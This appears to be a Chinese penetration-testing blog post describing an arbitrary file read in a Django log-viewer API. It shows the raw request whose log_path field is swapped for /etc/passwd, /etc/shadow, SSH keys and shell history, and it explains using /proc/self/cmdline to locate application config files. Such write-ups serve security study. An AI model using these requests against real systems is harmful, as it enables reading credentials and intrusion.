记一次任意文件读取漏洞的挖掘

admin 2024年7月8日13:11:57评论35 views字数 1747阅读5分49秒阅读模式

本文由@天明师傅原创投稿,记录的是一种别样的任意文件读取玩法,感谢分享

0x01 挖掘受阻

在某次测试时,碰到了一个python Django站的任意文件读取漏洞,涉及功能为操作日志的线上查看功能,功能截图如下:

记一次任意文件读取漏洞的挖掘

漏洞点在查看功能处,点击查看后,原始数据包如下所示:

POST /mpc-server/api/v1/service/event_logs HTTP/1.1Host: 1.1.1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brContent-Type: application/jsonX-CSRFToken: Authorization: basic Content-Length: 56Origin: http://1.1.1.1Connection: keep-aliveReferer: http://1.1.1.1/index.htmlCookie: Priority: u=1

{"log_path":"/tools/mpc-fl-server/logs/event/event.log"}

此处给到的路径看着像绝对路径,尝试替换为:/etc/passwd。成功读到:

记一次任意文件读取漏洞的挖掘

读取/etc/shadow,未发现可解密的字段。

记一次任意文件读取漏洞的挖掘

尝试读取常见敏感信息,此处使用的字典为:Burpsuite Intruder的Local files - Linux

记一次任意文件读取漏洞的挖掘

因为此处直接使用的root,未有普通用户,故将注意力放在以下文件上,但是均读不到。

/root/.bash_history/root/.ssh/id_rsa/root/.ssh/authorized_keys/etc/mysql.cnf/etc/redis.conf

0x02 别样的文件读取利用思路

请教了师傅,给了通过读取cmdline来获取配置文件的方法,具体步骤如下:

1)读取cmdline,获取配置文件路径
/proc/self/cmdline

java-Dfile.encoding=UTF-8-Duser.timezone=GMT+08-Dorg.eclipse.jetty.util.URI.charset=UTF-8-Dorg.eclipse.jetty.util.UrlEncoding.charset=UTF-8-Xms256m-Xmx10240m-XX:PermSize=256M-XX:MaxPermSize=1024M-XX:+UseParallelGc-XX:+UseParalleloldGc-XX:+HeapDumpOnoutofMemoryError-cp/home/project/manage_admin/bin/../WEB-INF/lib/*:/home/project/manage_admin/bin/../WEB-INF/classescom.junc.bootstrap.Starterstartbin

2)读取配置文件
web.xml

/home/project/manage_admin/bin/../WEB-INF/web.xml

Spring配置文件

/home/project/manage_admin/bin/../WEB-INF/classes/spring-init.xml

redis配置文件

/home/project/manage_admin/bin/../WEB-INF/classes/properties/redis.properties

0x03 尝试峰回路转

峰回路转个鬼,一时间猪油蒙了心。跑去读了cmdline

记一次任意文件读取漏洞的挖掘
这下更伤心了,还记得前文提到的信息么,这个站是python的Django框架。躺了躺了,虽然洞没扩大,但是收获了一种别样的任意文件读取玩法。

原文始发于微信公众号(潇湘信安):记一次任意文件读取漏洞的挖掘

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月8日13:11:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次任意文件读取漏洞的挖掘https://cn-sec.com/archives/2930977.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息